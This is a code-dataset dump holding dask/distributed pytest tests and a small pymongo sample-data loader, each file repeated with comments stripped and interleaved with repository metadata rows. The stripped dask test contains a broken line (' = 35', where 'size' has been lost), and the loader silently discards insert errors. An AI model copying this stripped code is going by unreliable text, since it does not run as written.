dask.delayed(inc)(1) y = x + 1 z = await y.persist() assert len(z.dask) == 1 asyncio.get_event_loop().run_until_complete(f()) @gen_cluster(client=True) async def test_annotations_blockwise_unpack(c, s, a, b): da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") from dask.array.utils import assert_eq # A flaky doubling function -- need extra args because it is called before # application to establish dtype/meta. scale = varying([ZeroDivisionError("one"), ZeroDivisionError("two"), 2, 2]) def flaky_double(x): return scale() * x # A reliable double function. def reliable_double(x): return 2 * x x = da.ones(10, chunks=(5,)) # The later annotations should not override the earlier annotations with dask.annotate(retries=2): y = x.map_blocks(flaky_double, meta=np.array((), dtype=np.float_)) with dask.annotate(retries=0): z = y.map_blocks(reliable_double, meta=np.array((), dtype=np.float_)) with dask.config.set(optimization__fuse__active=False): z = await c.compute(z) assert_eq(z, np.ones(10) * 4.0) @pytest.mark.parametrize( "io", [ "ones", "zeros", "full", ], ) @pytest.mark.parametrize("fuse", [True, False, None]) def test_blockwise_array_creation(c, io, fuse): np = pytest.importorskip("numpy") da = pytest.importorskip("dask.array") chunks = (5, 2) shape = (10, 4) if io == "ones": darr = da.ones(shape, chunks=chunks) narr = np.ones(shape) elif io == "zeros": darr = da.zeros(shape, chunks=chunks) narr = np.zeros(shape) elif io == "full": darr = da.full(shape, 10, chunks=chunks) narr = np.full(shape, 10) darr += 2 narr += 2 with dask.config.set({"optimization.fuse.active": fuse}): darr.compute() dsk = dask.array.optimize(darr.dask, darr.__dask_keys__()) # dsk should be a dict unless fuse is explicitly False assert isinstance(dsk, dict) == (fuse is not False) da.assert_eq(darr, narr, scheduler=c) @pytest.mark.parametrize( "io", ["parquet-pyarrow", "parquet-fastparquet", "csv", "hdf"], ) @pytest.mark.parametrize("fuse", [True, False, None]) @pytest.mark.parametrize("from_futures", [True, False]) def test_blockwise_dataframe_io(c, tmpdir, io, fuse, from_futures): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") df = pd.DataFrame({"x": [1, 2, 3] * 5, "y": range(15)}) if from_futures: parts = [df.iloc[:5], df.iloc[5:10], df.iloc[10:15]] futs = c.scatter(parts) ddf0 = dd.from_delayed(futs, meta=parts[0]) else: ddf0 = dd.from_pandas(df, npartitions=3) if io.startswith("parquet"): if io == "parquet-pyarrow": pytest.importorskip("pyarrow.parquet") engine = "pyarrow" else: pytest.importorskip("fastparquet") engine = "fastparquet" ddf0.to_parquet(str(tmpdir), engine=engine) ddf = dd.read_parquet(str(tmpdir), engine=engine) elif io == "csv": ddf0.to_csv(str(tmpdir), index=False) ddf = dd.read_csv(os.path.join(str(tmpdir), "*")) elif io == "hdf": pytest.importorskip("tables") fn = str(tmpdir.join("h5")) ddf0.to_hdf(fn, "/data*") ddf = dd.read_hdf(fn, "/data*") df = df[["x"]] + 10 ddf = ddf[["x"]] + 10 with dask.config.set({"optimization.fuse.active": fuse}): ddf.compute() dsk = dask.dataframe.optimize(ddf.dask, ddf.__dask_keys__()) # dsk should not be a dict unless fuse is explicitly True assert isinstance(dsk, dict) == bool(fuse) dd.assert_eq(ddf, df, check_index=False) def test_blockwise_fusion_after_compute(c): # See: https://github.com/dask/dask/issues/7720 pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") # Simple sequence of Dask-Dataframe manipulations df = pd.DataFrame({"x": [1, 2, 3] * 5}) series = dd.from_pandas(df, npartitions=2)["x"] result = series < 3 # Trigger an optimization of the `series` graph # (which `result` depends on), then compute `result`. # This is essentially a test of `rewrite_blockwise`. series_len = len(series) assert series_len == 15 assert df.x[result.compute()].sum() == 15 @gen_cluster(client=True) async def test_blockwise_numpy_args(c, s, a, b): """Test pack/unpack of blockwise that includes a NumPy literal argument""" da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") def fn(x, dt): assert type(dt) is np.uint16 return x.astype(dt) arr = da.blockwise( fn, "x", da.ones(1000), "x", np.uint16(42), None, dtype=np.uint16 ) res = await c.compute(arr.sum(), optimize_graph=False) assert res == 1000 @gen_cluster(client=True) async def test_blockwise_numpy_kwargs(c, s, a, b): """Test pack/unpack of blockwise that includes a NumPy literal keyword argument""" da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") def fn(x, dt=None): assert type(dt) is np.uint16 return x.astype(dt) arr = da.blockwise(fn, "x", da.ones(1000), "x", dtype=np.uint16, dt=np.uint16(42)) res = await c.compute(arr.sum(), optimize_graph=False) assert res == 1000 def test_blockwise_different_optimization(c): # Regression test for incorrect results due to SubgraphCallable.__eq__ # not correctly handling subgraphs with the same outputs and arity but # different internals (GH-7632). The bug is triggered by distributed # because it uses a function cache. da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") u = da.from_array(np.arange(3)) v = da.from_array(np.array([10 + 2j, 7 - 3j, 8 + 1j])) cv = v.conj() x = u * cv (cv,) = dask.optimize(cv) y = u * cv expected = np.array([0 + 0j, 7 + 3j, 16 - 2j]) with dask.config.set({"optimization.fuse.active": False}): x_value = x.compute() y_value = y.compute() np.testing.assert_equal(x_value, expected) np.testing.assert_equal(y_value, expected) @gen_cluster(client=True) async def test_combo_of_layer_types(c, s, a, b): """Check pack/unpack of a HLG that has every type of Layers!""" da = pytest.importorskip("dask.array") dd = pytest.importorskip("dask.dataframe") np = pytest.importorskip("numpy") pd = pytest.importorskip("pandas") def add(x, y, z, extra_arg): return x + y + z + extra_arg y = c.submit(lambda x: x, 2) z = c.submit(lambda x: x, 3) x = da.blockwise( add, "x", da.zeros((3,), chunks=(1,)), "x", da.ones((3,), chunks=(1,)), "x", y, None, concatenate=False, dtype=int, extra_arg=z, ) df = dd.from_pandas(pd.DataFrame({"a": np.arange(3)}), npartitions=3) df = df.shuffle("a", shuffle="tasks") df = df["a"].to_dask_array() res = x.sum() + df.sum() res = await c.compute(res, optimize_graph=False) assert res == 21 def test_blockwise_concatenate(c): """Test a blockwise operation with concatenated axes""" da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") def f(x, y): da.assert_eq(y, [[0, 1, 2]]) return x x = da.from_array(np.array([0, 1, 2])) y = da.from_array(np.array([[0, 1, 2]])) z = da.blockwise( f, ("i"), x, ("i"), y, ("ij"), dtype=x.dtype, concatenate=True, ) c.compute(z, optimize_graph=False) da.assert_eq(z, x, scheduler=c) @gen_cluster(client=True) async def test_map_partitions_partition_info(c, s, a, b): dd = pytest.importorskip("dask.dataframe") pd = pytest.importorskip("pandas") ddf = dd.from_pandas(pd.DataFrame({"a": range(10)}), npartitions=2) res = await c.compute( ddf.map_partitions(lambda x, partition_info=None: partition_info) ) assert res[0] == {"number": 0, "division": 0} assert res[1] == {"number": 1, "division": 5} @gen_cluster(client=True) async def test_futures_in_subgraphs(c, s, a, b): """Copied from distributed (tests/test_client.py)""" dd = pytest.importorskip("dask.dataframe") pd = pytest.importorskip("pandas") ddf = dd.from_pandas( pd.DataFrame( dict( uid=range(50), enter_time=pd.date_range( start="2020-01-01", end="2020-09-01", periods=50, tz="UTC" ), ) ), npartitions=1, ) ddf = ddf[ddf.uid.isin(range(29))].persist() ddf["day"] = ddf.enter_time.dt.day_name() ddf = await c.submit(dd.categorical.categorize, ddf, columns=["day"], index=False) @pytest.mark.flaky(reruns=5, reruns_delay=5) @gen_cluster(client=True) async def test_shuffle_priority(c, s, a, b): pd = pytest.importorskip("pandas") np = pytest.importorskip("numpy") dd = pytest.importorskip("dask.dataframe") # Test marked as "flaky" since the scheduling behavior # is not deterministic. Note that the test is still # very likely to fail every time if the "split" tasks # are not prioritized correctly df = pd.DataFrame({"a": range(1000)}) ddf = dd.from_pandas(df, npartitions=10) ddf2 = ddf.shuffle("a", shuffle="tasks", max_branch=32) await c.compute(ddf2) # Parse transition log for processing tasks log = [ eval(l[0])[0] for l in s.transition_log if l[1] == "processing" and "simple-shuffle-" in l[0] ] # Make sure most "split" tasks are processing before # any "combine" tasks begin late_split = np.quantile( [i for i, st in enumerate(log) if st.startswith("split")], 0.75 ) early_combine = np.quantile( [i for i, st in enumerate(log) if st.startswith("simple")], 0.25 ) assert late_split < early_combine @gen_cluster(client=True) async def test_map_partitions_da_input(c, s, a, b): """Check that map_partitions can handle a dask array input""" np = pytest.importorskip("numpy") pd = pytest.importorskip("pandas") da = pytest.importorskip("dask.array") datasets = pytest.importorskip("dask.datasets") def f(d, a): assert isinstance(d, pd.DataFrame) assert isinstance(a, np.ndarray) return d df = datasets.timeseries(freq="1d").persist() arr = da.ones((1,), chunks=1).persist() await c.compute(df.map_partitions(f, arr, meta=df._meta)) def test_map_partitions_df_input(): """ Check that map_partitions can handle a delayed partition of a dataframe input """ pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") def f(d, a): assert isinstance(d, pd.DataFrame) assert isinstance(a, pd.DataFrame) return d def main(): item_df = dd.from_pandas(pd.DataFrame({"a": range(10)}), npartitions=1) ddf = item_df.to_delayed()[0].persist() merged_df = dd.from_pandas(pd.DataFrame({"b": range(10)}), npartitions=1) # Notice, we include a shuffle in order to trigger a complex culling merged_df = merged_df.shuffle(on="b") merged_df.map_partitions( f, ddf, meta=merged_df, enforce_metadata=False ).compute() with distributed.LocalCluster( scheduler_port=0, dashboard_address=":0", asynchronous=False, n_workers=1, nthreads=1, processes=False, ) as cluster: with distributed.Client(cluster, asynchronous=False): main() @gen_cluster(client=True) async def test_annotation_pack_unpack(c, s, a, b): hlg = HighLevelGraph({"l1": MaterializedLayer({"n": 42})}, {"l1": set()}) annotations = {"workers": ("alice",)} packed_hlg = hlg.__dask_distributed_pack__(c, ["n"], annotations) unpacked_hlg = HighLevelGraph.__dask_distributed_unpack__(packed_hlg) annotations = unpacked_hlg["annotations"] assert annotations == {"workers": {"n": ("alice",)}} @gen_cluster(client=True) async def test_pack_MaterializedLayer_handles_futures_in_graph_properly(c, s, a, b): fut = c.submit(inc, 1) hlg = HighLevelGraph( {"l1": MaterializedLayer({"x": fut, "y": (inc, "x"), "z": (inc, "y")})}, {"l1": set()}, ) # fill hlg.key_dependencies cache. This excludes known futures, so only # includes a subset of all dependencies. Previously if the cache was present # the future dependencies would be missing when packed. hlg.get_all_dependencies() packed = hlg.__dask_distributed_pack__(c, ["z"], {}) unpacked = HighLevelGraph.__dask_distributed_unpack__(packed) assert unpacked["deps"] == {"x": {fut.key}, "y": {fut.key}, "z": {"y"}} @gen_cluster(client=True) async def test_to_sql_engine_kwargs(c, s, a, b): # https://github.com/dask/dask/issues/8738 pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") pytest.importorskip("sqlalchemy") df = pd.DataFrame({"a": range(10), "b": range(10)}) df.index.name = "index" ddf = dd.from_pandas(df, npartitions=1) with tmpfile() as f: uri = f"sqlite:///{f}" result = ddf.to_sql( "test", uri, index=True, engine_kwargs={"echo": False}, compute=False ) await c.compute(result) dd.utils.assert_eq( ddf, dd.read_sql_table("test", uri, "index"), check_divisions=False, )
30.320175
87
0.629105
import pytest distributed = pytest.importorskip("distributed") import asyncio import os from functools import partial from operator import add from distributed.utils_test import client as c from distributed.utils_test import cluster_fixture from distributed.utils_test import loop from distributed.utils_test import cluster, gen_cluster, inc, varying import dask import dask.bag as db from dask import compute, delayed, persist from dask.delayed import Delayed from dask.distributed import futures_of, wait from dask.highlevelgraph import HighLevelGraph, MaterializedLayer from dask.utils import get_named_args, tmpdir, tmpfile if "should_check_state" in get_named_args(gen_cluster): gen_cluster = partial(gen_cluster, should_check_state=False) cluster = partial(cluster, should_check_state=False) def test_can_import_client(): from dask.distributed import Client def test_can_import_nested_things(): from dask.distributed.protocol import dumps @gen_cluster(client=True) async def test_persist(c, s, a, b): x = delayed(inc)(1) (x2,) = persist(x) await wait(x2) assert x2.key in a.data or x2.key in b.data y = delayed(inc)(10) y2, one = persist(y, 1) await wait(y2) assert y2.key in a.data or y2.key in b.data def test_persist_nested(c): a = delayed(1) + 5 b = a + 1 c = a + 2 result = persist({"a": a, "b": [1, 2, b]}, (c, 2), 4, [5]) assert isinstance(result[0]["a"], Delayed) assert isinstance(result[0]["b"][2], Delayed) assert isinstance(result[1][0], Delayed) sol = ({"a": 6, "b": [1, 2, 7]}, (8, 2), 4, [5]) assert compute(*result) == sol res = persist([a, b], c, 4, [5], traverse=False) assert res[0][0] is a assert res[0][1] is b assert res[1].compute() == 8 assert res[2:] == (4, [5]) def test_futures_to_delayed_dataframe(c): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") df = pd.DataFrame({"x": [1, 2, 3]}) futures = c.scatter([df, df]) ddf = dd.from_delayed(futures) dd.utils.assert_eq(ddf.compute(), pd.concat([df, df], axis=0)) with pytest.raises(TypeError): ddf = dd.from_delayed([1, 2]) @pytest.mark.parametrize("fuse", [True, False]) def test_fused_blockwise_dataframe_merge(c, fuse): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") = 35 df1 = pd.DataFrame({"x": range(size), "y": range(size)}) df2 = pd.DataFrame({"x": range(size), "z": range(size)}) ddf1 = dd.from_pandas(df1, npartitions=size) + 10 ddf2 = dd.from_pandas(df2, npartitions=5) + 10 df1 += 10 df2 += 10 with dask.config.set({"optimization.fuse.active": fuse}): ddfm = ddf1.merge(ddf2, on=["x"], how="left") ddfm.head() dfm = ddfm.compute().sort_values("x") dd.utils.assert_eq( dfm, df1.merge(df2, on=["x"], how="left").sort_values("x"), check_index=False ) def test_futures_to_delayed_bag(c): L = [1, 2, 3] futures = c.scatter([L, L]) b = db.from_delayed(futures) assert list(b) == L + L def test_futures_to_delayed_array(c): da = pytest.importorskip("dask.array") from dask.array.utils import assert_eq np = pytest.importorskip("numpy") x = np.arange(5) futures = c.scatter([x, x]) A = da.concatenate( [da.from_delayed(f, shape=x.shape, dtype=x.dtype) for f in futures], axis=0 ) assert_eq(A.compute(), np.concatenate([x, x], axis=0)) @gen_cluster(client=True) async def test_local_get_with_distributed_active(c, s, a, b): with dask.config.set(scheduler="sync"): x = delayed(inc)(1).persist() await asyncio.sleep(0.01) assert not s.tasks x = delayed(inc)(2).persist(scheduler="sync") # noqa F841 await asyncio.sleep(0.01) assert not s.tasks # scheduler hasn't done anything def test_to_hdf_distributed(c): pytest.importorskip("numpy") pytest.importorskip("pandas") from ..dataframe.io.tests.test_hdf import test_to_hdf test_to_hdf() @pytest.mark.parametrize( "npartitions", [ 1, pytest.param( 4, marks=pytest.mark.xfail(reason="HDF not multi-process safe", strict=False), ), pytest.param( 10, marks=pytest.mark.xfail(reason="HDF not multi-process safe", strict=False), ), ], ) def test_to_hdf_scheduler_distributed(npartitions, c): pytest.importorskip("numpy") pytest.importorskip("pandas") from ..dataframe.io.tests.test_hdf import test_to_hdf_schedulers test_to_hdf_schedulers(None, npartitions) @gen_cluster(client=True) async def test_serializable_groupby_agg(c, s, a, b): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [1, 0, 1, 0]}) ddf = dd.from_pandas(df, npartitions=2) result = ddf.groupby("y").agg("count", split_out=2) agg0 = await c.compute(result.partitions[0]) agg1 = await c.compute(result.partitions[1]) dd.utils.assert_eq( pd.concat([agg0, agg1]), pd.DataFrame({"x": [2, 2], "y": [0, 1]}).set_index("y"), ) def test_futures_in_graph(c): x, y = delayed(1), delayed(2) xx = delayed(add)(x, x) yy = delayed(add)(y, y) xxyy = delayed(add)(xx, yy) xxyy2 = c.persist(xxyy) xxyy3 = delayed(add)(xxyy2, 10) assert xxyy3.compute(scheduler="dask.distributed") == ((1 + 1) + (2 + 2)) + 10 def test_zarr_distributed_roundtrip(c): da = pytest.importorskip("dask.array") pytest.importorskip("zarr") with tmpdir() as d: a = da.zeros((3, 3), chunks=(1, 1)) a.to_zarr(d) a2 = da.from_zarr(d) da.assert_eq(a, a2, scheduler=c) assert a2.chunks == a.chunks def test_zarr_in_memory_distributed_err(c): da = pytest.importorskip("dask.array") zarr = pytest.importorskip("zarr") chunks = (1, 1) a = da.ones((3, 3), chunks=chunks) z = zarr.zeros_like(a, chunks=chunks) with pytest.raises(RuntimeError): a.to_zarr(z) def test_scheduler_equals_client(c): x = delayed(lambda: 1)() assert x.compute(scheduler=c) == 1 assert c.run_on_scheduler(lambda dask_scheduler: dask_scheduler.story(x.key)) @gen_cluster(client=True) async def test_await(c, s, a, b): x = dask.delayed(inc)(1) x = await x.persist() assert x.key in s.tasks assert a.data or b.data assert all(f.done() for f in futures_of(x)) def test_local_scheduler(): async def f(): x = dask.delayed(inc)(1) y = x + 1 z = await y.persist() assert len(z.dask) == 1 asyncio.get_event_loop().run_until_complete(f()) @gen_cluster(client=True) async def test_annotations_blockwise_unpack(c, s, a, b): da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") from dask.array.utils import assert_eq scale = varying([ZeroDivisionError("one"), ZeroDivisionError("two"), 2, 2]) def flaky_double(x): return scale() * x def reliable_double(x): return 2 * x x = da.ones(10, chunks=(5,)) with dask.annotate(retries=2): y = x.map_blocks(flaky_double, meta=np.array((), dtype=np.float_)) with dask.annotate(retries=0): z = y.map_blocks(reliable_double, meta=np.array((), dtype=np.float_)) with dask.config.set(optimization__fuse__active=False): z = await c.compute(z) assert_eq(z, np.ones(10) * 4.0) @pytest.mark.parametrize( "io", [ "ones", "zeros", "full", ], ) @pytest.mark.parametrize("fuse", [True, False, None]) def test_blockwise_array_creation(c, io, fuse): np = pytest.importorskip("numpy") da = pytest.importorskip("dask.array") chunks = (5, 2) shape = (10, 4) if io == "ones": darr = da.ones(shape, chunks=chunks) narr = np.ones(shape) elif io == "zeros": darr = da.zeros(shape, chunks=chunks) narr = np.zeros(shape) elif io == "full": darr = da.full(shape, 10, chunks=chunks) narr = np.full(shape, 10) darr += 2 narr += 2 with dask.config.set({"optimization.fuse.active": fuse}): darr.compute() dsk = dask.array.optimize(darr.dask, darr.__dask_keys__()) assert isinstance(dsk, dict) == (fuse is not False) da.assert_eq(darr, narr, scheduler=c) @pytest.mark.parametrize( "io", ["parquet-pyarrow", "parquet-fastparquet", "csv", "hdf"], ) @pytest.mark.parametrize("fuse", [True, False, None]) @pytest.mark.parametrize("from_futures", [True, False]) def test_blockwise_dataframe_io(c, tmpdir, io, fuse, from_futures): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") df = pd.DataFrame({"x": [1, 2, 3] * 5, "y": range(15)}) if from_futures: parts = [df.iloc[:5], df.iloc[5:10], df.iloc[10:15]] futs = c.scatter(parts) ddf0 = dd.from_delayed(futs, meta=parts[0]) else: ddf0 = dd.from_pandas(df, npartitions=3) if io.startswith("parquet"): if io == "parquet-pyarrow": pytest.importorskip("pyarrow.parquet") engine = "pyarrow" else: pytest.importorskip("fastparquet") engine = "fastparquet" ddf0.to_parquet(str(tmpdir), engine=engine) ddf = dd.read_parquet(str(tmpdir), engine=engine) elif io == "csv": ddf0.to_csv(str(tmpdir), index=False) ddf = dd.read_csv(os.path.join(str(tmpdir), "*")) elif io == "hdf": pytest.importorskip("tables") fn = str(tmpdir.join("h5")) ddf0.to_hdf(fn, "/data*") ddf = dd.read_hdf(fn, "/data*") df = df[["x"]] + 10 ddf = ddf[["x"]] + 10 with dask.config.set({"optimization.fuse.active": fuse}): ddf.compute() dsk = dask.dataframe.optimize(ddf.dask, ddf.__dask_keys__()) assert isinstance(dsk, dict) == bool(fuse) dd.assert_eq(ddf, df, check_index=False) def test_blockwise_fusion_after_compute(c): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") df = pd.DataFrame({"x": [1, 2, 3] * 5}) series = dd.from_pandas(df, npartitions=2)["x"] result = series < 3 series_len = len(series) assert series_len == 15 assert df.x[result.compute()].sum() == 15 @gen_cluster(client=True) async def test_blockwise_numpy_args(c, s, a, b): da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") def fn(x, dt): assert type(dt) is np.uint16 return x.astype(dt) arr = da.blockwise( fn, "x", da.ones(1000), "x", np.uint16(42), None, dtype=np.uint16 ) res = await c.compute(arr.sum(), optimize_graph=False) assert res == 1000 @gen_cluster(client=True) async def test_blockwise_numpy_kwargs(c, s, a, b): da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") def fn(x, dt=None): assert type(dt) is np.uint16 return x.astype(dt) arr = da.blockwise(fn, "x", da.ones(1000), "x", dtype=np.uint16, dt=np.uint16(42)) res = await c.compute(arr.sum(), optimize_graph=False) assert res == 1000 def test_blockwise_different_optimization(c): da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") u = da.from_array(np.arange(3)) v = da.from_array(np.array([10 + 2j, 7 - 3j, 8 + 1j])) cv = v.conj() x = u * cv (cv,) = dask.optimize(cv) y = u * cv expected = np.array([0 + 0j, 7 + 3j, 16 - 2j]) with dask.config.set({"optimization.fuse.active": False}): x_value = x.compute() y_value = y.compute() np.testing.assert_equal(x_value, expected) np.testing.assert_equal(y_value, expected) @gen_cluster(client=True) async def test_combo_of_layer_types(c, s, a, b): da = pytest.importorskip("dask.array") dd = pytest.importorskip("dask.dataframe") np = pytest.importorskip("numpy") pd = pytest.importorskip("pandas") def add(x, y, z, extra_arg): return x + y + z + extra_arg y = c.submit(lambda x: x, 2) z = c.submit(lambda x: x, 3) x = da.blockwise( add, "x", da.zeros((3,), chunks=(1,)), "x", da.ones((3,), chunks=(1,)), "x", y, None, concatenate=False, dtype=int, extra_arg=z, ) df = dd.from_pandas(pd.DataFrame({"a": np.arange(3)}), npartitions=3) df = df.shuffle("a", shuffle="tasks") df = df["a"].to_dask_array() res = x.sum() + df.sum() res = await c.compute(res, optimize_graph=False) assert res == 21 def test_blockwise_concatenate(c): da = pytest.importorskip("dask.array") np = pytest.importorskip("numpy") def f(x, y): da.assert_eq(y, [[0, 1, 2]]) return x x = da.from_array(np.array([0, 1, 2])) y = da.from_array(np.array([[0, 1, 2]])) z = da.blockwise( f, ("i"), x, ("i"), y, ("ij"), dtype=x.dtype, concatenate=True, ) c.compute(z, optimize_graph=False) da.assert_eq(z, x, scheduler=c) @gen_cluster(client=True) async def test_map_partitions_partition_info(c, s, a, b): dd = pytest.importorskip("dask.dataframe") pd = pytest.importorskip("pandas") ddf = dd.from_pandas(pd.DataFrame({"a": range(10)}), npartitions=2) res = await c.compute( ddf.map_partitions(lambda x, partition_info=None: partition_info) ) assert res[0] == {"number": 0, "division": 0} assert res[1] == {"number": 1, "division": 5} @gen_cluster(client=True) async def test_futures_in_subgraphs(c, s, a, b): dd = pytest.importorskip("dask.dataframe") pd = pytest.importorskip("pandas") ddf = dd.from_pandas( pd.DataFrame( dict( uid=range(50), enter_time=pd.date_range( start="2020-01-01", end="2020-09-01", periods=50, tz="UTC" ), ) ), npartitions=1, ) ddf = ddf[ddf.uid.isin(range(29))].persist() ddf["day"] = ddf.enter_time.dt.day_name() ddf = await c.submit(dd.categorical.categorize, ddf, columns=["day"], index=False) @pytest.mark.flaky(reruns=5, reruns_delay=5) @gen_cluster(client=True) async def test_shuffle_priority(c, s, a, b): pd = pytest.importorskip("pandas") np = pytest.importorskip("numpy") dd = pytest.importorskip("dask.dataframe") df = pd.DataFrame({"a": range(1000)}) ddf = dd.from_pandas(df, npartitions=10) ddf2 = ddf.shuffle("a", shuffle="tasks", max_branch=32) await c.compute(ddf2) log = [ eval(l[0])[0] for l in s.transition_log if l[1] == "processing" and "simple-shuffle-" in l[0] ] late_split = np.quantile( [i for i, st in enumerate(log) if st.startswith("split")], 0.75 ) early_combine = np.quantile( [i for i, st in enumerate(log) if st.startswith("simple")], 0.25 ) assert late_split < early_combine @gen_cluster(client=True) async def test_map_partitions_da_input(c, s, a, b): np = pytest.importorskip("numpy") pd = pytest.importorskip("pandas") da = pytest.importorskip("dask.array") datasets = pytest.importorskip("dask.datasets") def f(d, a): assert isinstance(d, pd.DataFrame) assert isinstance(a, np.ndarray) return d df = datasets.timeseries(freq="1d").persist() arr = da.ones((1,), chunks=1).persist() await c.compute(df.map_partitions(f, arr, meta=df._meta)) def test_map_partitions_df_input(): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") def f(d, a): assert isinstance(d, pd.DataFrame) assert isinstance(a, pd.DataFrame) return d def main(): item_df = dd.from_pandas(pd.DataFrame({"a": range(10)}), npartitions=1) ddf = item_df.to_delayed()[0].persist() merged_df = dd.from_pandas(pd.DataFrame({"b": range(10)}), npartitions=1) merged_df = merged_df.shuffle(on="b") merged_df.map_partitions( f, ddf, meta=merged_df, enforce_metadata=False ).compute() with distributed.LocalCluster( scheduler_port=0, dashboard_address=":0", asynchronous=False, n_workers=1, nthreads=1, processes=False, ) as cluster: with distributed.Client(cluster, asynchronous=False): main() @gen_cluster(client=True) async def test_annotation_pack_unpack(c, s, a, b): hlg = HighLevelGraph({"l1": MaterializedLayer({"n": 42})}, {"l1": set()}) annotations = {"workers": ("alice",)} packed_hlg = hlg.__dask_distributed_pack__(c, ["n"], annotations) unpacked_hlg = HighLevelGraph.__dask_distributed_unpack__(packed_hlg) annotations = unpacked_hlg["annotations"] assert annotations == {"workers": {"n": ("alice",)}} @gen_cluster(client=True) async def test_pack_MaterializedLayer_handles_futures_in_graph_properly(c, s, a, b): fut = c.submit(inc, 1) hlg = HighLevelGraph( {"l1": MaterializedLayer({"x": fut, "y": (inc, "x"), "z": (inc, "y")})}, {"l1": set()}, ) hlg.get_all_dependencies() packed = hlg.__dask_distributed_pack__(c, ["z"], {}) unpacked = HighLevelGraph.__dask_distributed_unpack__(packed) assert unpacked["deps"] == {"x": {fut.key}, "y": {fut.key}, "z": {"y"}} @gen_cluster(client=True) async def test_to_sql_engine_kwargs(c, s, a, b): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") pytest.importorskip("sqlalchemy") df = pd.DataFrame({"a": range(10), "b": range(10)}) df.index.name = "index" ddf = dd.from_pandas(df, npartitions=1) with tmpfile() as f: uri = f"sqlite:///{f}" result = ddf.to_sql( "test", uri, index=True, engine_kwargs={"echo": False}, compute=False ) await c.compute(result) dd.utils.assert_eq( ddf, dd.read_sql_table("test", uri, "index"), check_divisions=False, )
true
true
f71f0ceae06e8af2d70646a2a3ec49f14128a9f0
1,508
py
Python
mongodb/assets/loader.py
Code360In/katacoda-scenarios-34
b9eee8213a7fcdc5897601b745d851801a7c08b6
[ "MIT" ]
1
2020-09-10T11:55:51.000Z
2020-09-10T11:55:51.000Z
mongodb/assets/loader.py
Code360In/katacoda-scenarios-34
b9eee8213a7fcdc5897601b745d851801a7c08b6
[ "MIT" ]
1
2021-06-02T01:25:23.000Z
2021-06-02T01:25:23.000Z
mongodb/assets/loader.py
Code360In/katacoda-scenarios-34
b9eee8213a7fcdc5897601b745d851801a7c08b6
[ "MIT" ]
4
2020-10-02T06:38:39.000Z
2022-03-05T12:20:36.000Z
""" --------- loader.py --------- A minimal code to store data in MongoDB """ import csv import json from datetime import datetime from pymongo import MongoClient def load_orders(): """Load orders sample data""" client = MongoClient('localhost', 27017) orders = client["orders"] # insert customers data customers = orders["customers"] with open('customers.csv') as csvfile: customers_data = list(csv.DictReader(csvfile)) _ = customers.insert_many(customers_data) # insert items data items_ordered = orders["items_ordered"] with open('items_ordered.csv') as csvfile: items_ordered_data = list(csv.DictReader(csvfile)) _ = items_ordered.insert_many(items_ordered_data) def load_airbnb(): """Load AirBnB sample data""" client = MongoClient('localhost', 27017) airbnb = client["airbnb"] sample_data = airbnb["sample_data"] with open("airbnb.json", "r") as f_in: data = json.load(f_in) for d in data: for key, val in d.items(): if isinstance(val, dict): if "$date" in val.keys(): d[key] = datetime.fromtimestamp(val["$date"] / 1000) elif "$numberDecimal" in val.keys(): d[key] = val["$numberDecimal"] try: sample_data.insert(d) except: pass def main(): """The main script""" load_airbnb() load_orders() if __name__ == "__main__": main() print("Done!")
22.507463
72
0.600133
import csv import json from datetime import datetime from pymongo import MongoClient def load_orders(): client = MongoClient('localhost', 27017) orders = client["orders"] customers = orders["customers"] with open('customers.csv') as csvfile: customers_data = list(csv.DictReader(csvfile)) _ = customers.insert_many(customers_data) items_ordered = orders["items_ordered"] with open('items_ordered.csv') as csvfile: items_ordered_data = list(csv.DictReader(csvfile)) _ = items_ordered.insert_many(items_ordered_data) def load_airbnb(): client = MongoClient('localhost', 27017) airbnb = client["airbnb"] sample_data = airbnb["sample_data"] with open("airbnb.json", "r") as f_in: data = json.load(f_in) for d in data: for key, val in d.items(): if isinstance(val, dict): if "$date" in val.keys(): d[key] = datetime.fromtimestamp(val["$date"] / 1000) elif "$numberDecimal" in val.keys(): d[key] = val["$numberDecimal"] try: sample_data.insert(d) except: pass def main(): load_airbnb() load_orders() if __name__ == "__main__": main() print("Done!")
true
true
f71f0dfec04143cf2e7de7cae4d58180583be0c7
7,187
py
Python
directory/test/test_directory.py
michael-go/integrations-core
b094befc63a479e6496ad0d0c7bb340be63699fc
[ "BSD-3-Clause" ]
null
null
null
directory/test/test_directory.py
michael-go/integrations-core
b094befc63a479e6496ad0d0c7bb340be63699fc
[ "BSD-3-Clause" ]
null
null
null
directory/test/test_directory.py
michael-go/integrations-core
b094befc63a479e6496ad0d0c7bb340be63699fc
[ "BSD-3-Clause" ]
null
null
null
